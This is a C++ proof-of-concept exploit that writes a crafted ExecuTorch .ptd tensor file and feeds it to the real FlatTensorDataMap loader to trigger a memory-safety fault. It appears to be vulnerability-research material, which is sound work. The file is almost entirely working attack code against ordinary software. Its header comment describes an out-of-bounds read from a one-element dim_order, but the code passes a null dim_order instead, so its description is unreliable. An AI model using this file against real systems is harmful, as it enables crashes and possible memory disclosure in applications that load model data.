// End-to-end PoC — crafts a malicious ExecuTorch .ptd and loads it through the REAL
// FlatTensorDataMap loader, triggering the heap OOB read in TensorLayout::create.
//
// The malicious .ptd has a NamedData "w" whose TensorLayout sets:
//   sizes     = [1,1,1,1]   (dim = 4; all small positive so calculate_nbytes passes)
//   dim_order = [0]         (length 1)
// create_tensor_layout (flat_tensor_data_map.cpp:118-123) builds the dim_order Span with
// length dim(=4) over the 1-element dim_order buffer -> the guard at tensor_layout.cpp:54
// is a no-op -> OOB read at tensor_layout.cpp:59.
//
// The .ptd byte layout replicates extension/flat_tensor/serialize/serialize.py exactly
// (_FLATBUFFER_ALIGNMENT=16, segment_alignment=128, version=0, _insert_flatbuffer_header).

#include <flatbuffers/flatbuffers.h>

#include <executorch/extension/flat_tensor/serialize/flat_tensor_generated.h>

#include <executorch/extension/data_loader/file_data_loader.h>
#include <executorch/extension/flat_tensor/flat_tensor_data_map.h>

#include <cstdint>
#include <cstdio>
#include <cstring>
#include <string>
#include <vector>

using executorch::extension::FileDataLoader;
using executorch::extension::FlatTensorDataMap;

static uint64_t aligned_size(uint64_t n, uint64_t a) { return ((n + a - 1) / a) * a; }
static void put_u32(std::string& s, size_t off, uint32_t v) { std::memcpy(&s[off], &v, 4); }
static void append_u32(std::string& s, uint32_t v) { s.append(reinterpret_cast<char*>(&v), 4); }
static void append_u64(std::string& s, uint64_t v) { s.append(reinterpret_cast<char*>(&v), 8); }

int main(int argc, char** argv) {
  const char* path = argc > 1 ? argv[1] : "evil.ptd";

  // 1. Build the FlatTensor flatbuffer with the malicious TensorLayout.
  flatbuffers::FlatBufferBuilder fbb;
  std::vector<int32_t> sizes = {1, 1, 1, 1};   // dim = 4 (present, small positive)
  // NULL-DEREF variant: omit dim_order entirely. flat_tensor.fbs marks dim_order optional
  // (not (required)), so tensor_layout->dim_order() returns nullptr, and
  // create_tensor_layout (flat_tensor_data_map.cpp:120) dereferences it: ->data() on null.
  auto layout = flat_tensor_flatbuffer::CreateTensorLayoutDirect(
      fbb, executorch_flatbuffer::ScalarType_FLOAT, &sizes, /*dim_order=*/nullptr);
  auto named = flat_tensor_flatbuffer::CreateNamedDataDirect(fbb, "w", /*segment_index=*/0, layout);
  std::vector<flatbuffers::Offset<flat_tensor_flatbuffer::NamedData>> nds = {named};
  std::vector<flatbuffers::Offset<flat_tensor_flatbuffer::DataSegment>> segs = {
      flat_tensor_flatbuffer::CreateDataSegment(fbb, /*offset=*/0, /*size=*/0)};
  auto root = flat_tensor_flatbuffer::CreateFlatTensorDirect(fbb, /*version=*/0, &segs, &nds);
  flat_tensor_flatbuffer::FinishFlatTensorBuffer(fbb, root);

  std::string fb(reinterpret_cast<const char*>(fbb.GetBufferPointer()), fbb.GetSize());

  // 2. Build + insert the FlatTensorHeader (serialize.py layout).
  const uint64_t EXPECTED_LENGTH = 40;
  const uint64_t padded_header_length = aligned_size(EXPECTED_LENGTH, 16);   // 48
  const uint64_t segment_base_offset =
      aligned_size(fb.size() + padded_header_length, 128);

  std::string header;                          // FlatTensorHeader::to_bytes()
  header.append("FH01", 4);
  append_u32(header, (uint32_t)EXPECTED_LENGTH);
  append_u64(header, padded_header_length);    // flatbuffer_offset
  append_u64(header, (uint64_t)fb.size());      // flatbuffer_size
  append_u64(header, segment_base_offset);     // segment_base_offset
  append_u64(header, 0);                        // segment_data_size
  header.resize(padded_header_length, '\0');    // pad to 48

  // _insert_flatbuffer_header: bump root offset, keep magic, insert header, then tail.
  uint32_t root_off;
  std::memcpy(&root_off, fb.data(), 4);
  std::string ptd;
  append_u32(ptd, root_off + (uint32_t)padded_header_length);  // new root offset
  ptd.append(fb, 4, 4);                                        // "FT01" identifier
  ptd.append(header);                                          // padded header
  ptd.append(fb, 8, fb.size() - 8);                           // remainder of flatbuffer
  ptd.resize(segment_base_offset, '\0');                       // pad to segment_base_offset

  FILE* f = std::fopen(path, "wb");
  std::fwrite(ptd.data(), 1, ptd.size(), f);
  std::fclose(f);
  fprintf(stderr, "[poc] wrote %s (%zu bytes)\n", path, ptd.size());

  // 3. Load it through the REAL loader -> triggers the OOB read.
  auto loader = FileDataLoader::from(path);
  if (!loader.ok()) { fprintf(stderr, "[poc] loader open failed\n"); return 2; }
  auto map = FlatTensorDataMap::load(&loader.get());
  if (!map.ok()) {
    fprintf(stderr, "[poc] FlatTensorDataMap::load failed err=%u\n",
            (unsigned)map.error());
    return 3;
  }
  fprintf(stderr, "[poc] calling get_tensor_layout(\"w\") ...\n");
  auto tl = map->get_tensor_layout(executorch::aten::string_view{"w", 1});
  fprintf(stderr, "[poc] NO CRASH (unexpected): ok=%d\n", tl.ok());
  return 0;
}